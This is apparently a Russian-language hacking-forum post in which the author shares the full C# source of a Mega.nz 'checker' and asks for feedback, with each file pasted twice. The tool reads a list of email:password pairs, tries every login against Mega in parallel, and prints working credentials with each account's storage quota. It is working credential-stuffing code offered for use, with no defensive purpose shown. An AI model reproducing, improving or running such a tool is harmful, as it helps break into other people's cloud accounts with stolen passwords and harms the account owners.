Написал чекер аккаунтов Mega.nz на валид и занятое\незанятое место. Вроде старался делать нормально, но напишите если что-то можно сделать лучше Program.cs using CG.Web.MegaApiClient; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading.Tasks; using System.Windows.Forms; namespace CheckerMega { class Program { [STAThread] public static void Main(string[] args) { Console.Title = string.Format("LOLZTEAM"); Login login = new Login(); login.StartLogin(); Console.ReadLine(); } } } C# using CG.Web.MegaApiClient; using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading.Tasks; using System.Windows.Forms; namespace CheckerMega { class Program { [STAThread] public static void Main(string[] args) { Console.Title = string.Format("LOLZTEAM"); Login login = new Login(); login.StartLogin(); Console.ReadLine(); } } } Login.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace CheckerMega { class Login { private int combos = 0; private void PrintInfoFile() { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Loaded lines: {0}", combos); Console.ResetColor(); Console.WriteLine("Continue? Y|N"); } public void StartLogin() { var dialog = new OpenFileDialog { Filter = "База аккаунтов (*.txt)|*.txt" }; if (dialog.ShowDialog() != DialogResult.OK) return; var accs = File.ReadAllLines(dialog.FileName); foreach (string item in accs) { combos++; } PrintInfoFile(); string answer = Console.ReadLine().ToLower(); if (answer == "y") { Console.Clear(); CheckLogin login = new CheckLogin(); login.Accounts(accs); return; } else { Environment.Exit(0); } } } } Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace CheckerMega { class Login { private int combos = 0; private void PrintInfoFile() { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Loaded lines: {0}", combos); Console.ResetColor(); Console.WriteLine("Continue? Y|N"); } public void StartLogin() { var dialog = new OpenFileDialog { Filter = "База аккаунтов (*.txt)|*.txt" }; if (dialog.ShowDialog() != DialogResult.OK) return; var accs = File.ReadAllLines(dialog.FileName); foreach (string item in accs) { combos++; } PrintInfoFile(); string answer = Console.ReadLine().ToLower(); if (answer == "y") { Console.Clear(); CheckLogin login = new CheckLogin(); login.Accounts(accs); return; } else { Environment.Exit(0); } } } } CheckLogin.cs using CG.Web.MegaApiClient; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CheckerMega { class CheckLogin { private static int successfully = 0; private static int exceptions = 0; private CheckInformation getInformation; public CheckLogin() { getInformation= new CheckInformation(); } private void PrintExcept(string email, string password) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"[Bad] {email}:{password}"); Console.ResetColor(); exceptions++; } private void PrintSuccefully(string email, string password, string[] info) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"[Good] {email}:{password}:{info[0]}:{info[1]}"); Console.ResetColor(); successfully++; } private void Login(string email, string password) { MegaApiClient client = new MegaApiClient(); try { client.Login(email, password); PrintSuccefully(email, password, getInformation.CheckQuota(client)); } catch { PrintExcept(email, password); } Console.Title = string.Format($"MEGA.nz Checker | Valid: {successfully} | Exseption: {exceptions}"); } public void Accounts(string[] accs) { Parallel.ForEach<string>(accs, (string line) => { string[] split = line.Split(new char[] { ':' }); if (split.Length == 2) Login(split[0], split[1]); }); Console.WriteLine("Check completed!"); } } } Код using CG.Web.MegaApiClient; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CheckerMega { class CheckLogin { private static int successfully = 0; private static int exceptions = 0; private CheckInformation getInformation; public CheckLogin() { getInformation= new CheckInformation(); } private void PrintExcept(string email, string password) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine($"[Bad] {email}:{password}"); Console.ResetColor(); exceptions++; } private void PrintSuccefully(string email, string password, string[] info) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"[Good] {email}:{password}:{info[0]}:{info[1]}"); Console.ResetColor(); successfully++; } private void Login(string email, string password) { MegaApiClient client = new MegaApiClient(); try { client.Login(email, password); PrintSuccefully(email, password, getInformation.CheckQuota(client)); } catch { PrintExcept(email, password); } Console.Title = string.Format($"MEGA.nz Checker | Valid: {successfully} | Exseption: {exceptions}"); } public void Accounts(string[] accs) { Parallel.ForEach<string>(accs, (string line) => { string[] split = line.Split(new char[] { ':' }); if (split.Length == 2) Login(split[0], split[1]); }); Console.WriteLine("Check completed!"); } } } CheckInformation.cs using CG.Web.MegaApiClient; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CheckerMega { class CheckInformation { private string[] info = new string[2]; public string[] CheckQuota(MegaApiClient client) { info[0] = (client.GetAccountInformation().UsedQuota / 1073741824L).ToString(); info[1] = (client.GetAccountInformation().TotalQuota / 1073741824L).ToString(); return info; } } } Код using CG.Web.MegaApiClient; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CheckerMega { class CheckInformation { private string[] info = new string[2]; public string[] CheckQuota(MegaApiClient client) { info[0] = (client.GetAccountInformation().UsedQuota / 1073741824L).ToString(); info[1] = (client.GetAccountInformation().TotalQuota / 1073741824L).ToString(); return info; } } }